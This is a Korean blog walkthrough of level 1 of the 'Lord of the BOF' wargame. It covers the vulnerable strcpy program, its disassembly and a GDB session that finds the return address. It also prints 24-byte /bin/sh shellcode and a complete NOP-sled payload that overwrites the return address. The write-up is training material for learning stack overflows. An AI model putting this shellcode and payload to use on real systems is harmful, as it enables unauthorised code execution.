ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 01 gate -> gremlin
    Wargame/HackerSchool The Load of the BOF Redhat 2019. 1. 10. 13:38

    → 소스코드는 아래와 같다.


    1 /*

          2         The Lord of the BOF : The Fellowship of the BOF

          3         - gremlin

          4         - simple BOF

          5 */

          6

          7 int main(int argc, char *argv[])

          8 {

          9     char buffer[256];

         10     if(argc < 2){

         11         printf("argv error\n");

         12         exit(0);

         13     }

         14     strcpy(buffer, argv[1]);

         15     printf("%s\n", buffer);

         16 }


    → 어셈블리 코드는 아래와 같다.


    0x8048430

    0x8048431

    0x8048433

    0x8048439

    0x804843d

    0x804843f

    0x8048444

    0x8048449

    0x804844c

    0x804844e

    0x8048453

    0x8048456

    0x8048459

    0x804845c

    0x804845e

    0x804845f

    0x8048465

    0x8048466

    0x804846b

    0x804846e

    0x8048474

    0x8048475

    0x804847a

    0x804847f

    0x8048482

    0x8048483

    <main>

    <main+1>

    <main+3>

    <main+9>

    <main+13>

    <main+15>

    <main+20>

    <main+25>

    <main+28>

    <main+30>

    <main+35>

    <main+38>

    <main+41>

    <main+44>

    <main+46>

    <main+47>

    <main+53>

    <main+54>

    <main+59>

    <main+62>

    <main+68>

    <main+69>

    <main+74>

    <main+79>

    <main+82>

    <main+83>

    push   %ebp                   

    mov    %ebp,%esp              

    sub    %esp,0x100             

    cmp    DWORD PTR [%ebp+8],1   

    jg     0x8048456 <main+38>    

    push   0x80484e0              

    call   0x8048350 <printf>     

    add    %esp,4                 

    push   0                      

    call   0x8048360 <exit>       

    add    %esp,4                 

    mov    %eax,DWORD PTR [%ebp+12]

    add    %eax,4                  

    mov    %edx,DWORD PTR [%eax]  

    push   %edx                   

    lea    %eax,[%ebp-256]        

    push   %eax                   

    call   0x8048370 <strcpy>     

    add    %esp,8                 

    lea    %eax,[%ebp-256]        

    push   %eax                   

    push   0x80484ec              

    call   0x8048350 <printf>     

    add    %esp,8                 

    leave                         

    ret


    → 어셈블리 코드를 살펴보면 main+54 위치의 strcpy 함수가 존재한다. strcpy 함수가 실행된 후 스택의 구조는 아래와 같다.



    char *strcpy(char *strDestination, const char *strSource);

    (strDestination : 대상 문자열 , strSource : Null 종료 소스 문자열)

    : strcpy 함수는 null 종료 문자를 포함하여 strSourcestrDestination에 지정된 위치로 복사합니다.

    : strcpystrSource를 복사하기 전에 strDestination의 공간이 충분한지 확인하지 않으므로 버퍼 오버플로우 의 원인이 된다.


    → 메인함수 RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(256바이트)+SFP(4바이트)이므로 총 260바이트이다. 즉, BUFFER 변수에 메모리가 쓰일 때 쉘 코드와 NOP로 채우고 RET 주소에 NOP 주소를 넣으면 쉘 코드를 실행할 수 있다. 해당 예제에선 구글에 검색되는 24바이트 크기의 쉘 코드를 사용했다.


    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


    → 실제 스택의 주소를 찾기 위해 GDB를 실행 후, 다음과 같이 확인한다. 진행 결과 0xbffff8f8 ~ 0xbffff9f7쌓인 값이 BUFFER의 256바이트, 0xbffff9f8 ~ 0xbfffffb 쌓인 값이 SFP의 4바이트, 0xbffff9fc ~ 0xbffff9ff 쌓인 값이 RET의 4바이트이다.


    [gate@localhost temp]$ gdb -q gremlin                   // gdbgremlin 실행

    (gdb) set disassembly-flavor intel                        // 인텔계열 명령어 보기 설정

    (gdb) disas main                                        // 메인함수 디스어셈블

    Dump of assembler code for function main:

    0x8048430 <main>:            push   %ebp

    0x8048431 <main+1>:         mov    %ebp,%esp

    0x8048433 <main+3>:         sub    %esp,0x100

    0x8048439 <main+9>:         cmp    DWORD PTR [%ebp+8],1

    0x804843d <main+13>:       jg     0x8048456 <main+38>

    0x804843f <main+15>:        push   0x80484e0

    0x8048444 <main+20>:       call   0x8048350 <printf>

    0x8048449 <main+25>:       add    %esp,4

    0x804844c <main+28>:       push   0

    0x804844e <main+30>:       call   0x8048360 <exit>

    0x8048453 <main+35>:       add    %esp,4

    0x8048456 <main+38>:       mov    %eax,DWORD PTR [%ebp+12]

    0x8048459 <main+41>:       add    %eax,4

    0x804845c <main+44>:       mov    %edx,DWORD PTR [%eax]

    0x804845e <main+46>:       push   %edx

    0x804845f <main+47>:        lea    %eax,[%ebp-256]

    0x8048465 <main+53>:       push   %eax

    0x8048466 <main+54>:       call   0x8048370 <strcpy>

    0x804846b <main+59>:       add    %esp,8

    0x804846e <main+62>:       lea    %eax,[%ebp-256]

    0x8048474 <main+68>:       push   %eax

    0x8048475 <main+69>:       push   0x80484ec

    0x804847a <main+74>:       call   0x8048350 <printf>

    0x804847f <main+79>:        add    %esp,8

    0x8048482 <main+82>:       leave 

    0x8048483 <main+83>:       ret   

    0x8048484 <main+84>:       nop   

    0x8048485 <main+85>:       nop   

    0x8048486 <main+86>:       nop   

    0x8048487 <main+87>:       nop   

    0x8048488 <main+88>:       nop   

    0x8048489 <main+89>:       nop   

    0x804848a <main+90>:       nop   

    0x804848b <main+91>:       nop   

    0x804848c <main+92>:       nop   

    0x804848d <main+93>:       nop   

    0x804848e <main+94>:       nop   

    0x804848f <main+95>:        nop   

    End of assembler dump.

    (gdb) b *main+62                                             // main+62 주소에 브레이크포인트 설정

    Breakpoint 1 at 0x804846e

    (gdb) r $(python -c 'print "A"*256+"BBBB"+"CCCC"')           // CCCC가 채워진 곳이 RET 자리

    Starting program: /home/gate/temp/gremlin $(python -c 'print "A"*256+"BBBB"+"CCCC"')

     

    Breakpoint 1, 0x804846e in main ()

    (gdb) x/80wx $esp                                            // esp로부터 80바이트 보기

    0xbffff8f8:             0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff908:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff918:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff928:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff938:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff948:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff958:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff968:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff978:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff988:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff998:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9a8:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9b8:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9c8:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9d8:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9e8:            0x41414141         0x41414141         0x41414141         0x41414141

    0xbffff9f8:             0x42424242         0x43434343         0x00000000          0xbffffa44

    0xbffffa08:            0xbffffa50             0x40013868          0x00000002          0x08048380

    0xbffffa18:            0x00000000          0x080483a1          0x08048430          0x00000002

    0xbffffa28:            0xbffffa44             0x080482e0          0x080484bc          0x4000ae60

    (gdb)



    → 다음과 같은 공격 페이로드를 구성할 수 있다.


    python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"'



    반환 주소를 BUFFER 변수 가장 처음 NOP 주소인 0xbffff8f8로 지정해서 NOP를 타고 쉘 코드가 실행되도록 페이로드를 구성한다.


    → 구성한 페이로드를 바탕으로 다음과 같이 공격한다.


    ./gremlin $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"')



    → 결과는 아래와 같다.


    'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글

    lvl 06 wolfman -> darkelf  (0) 2019.03.11
    lvl 05 orc -> wolfman  (0) 2019.03.11
    lvl 04 goblin -> orc  (0) 2019.03.08
    lvl 03 cobolt -> goblin  (0) 2019.01.22
    lvl 02 gremlin -> cobolt  (0) 2019.01.13

    댓글

Designed by Tistory.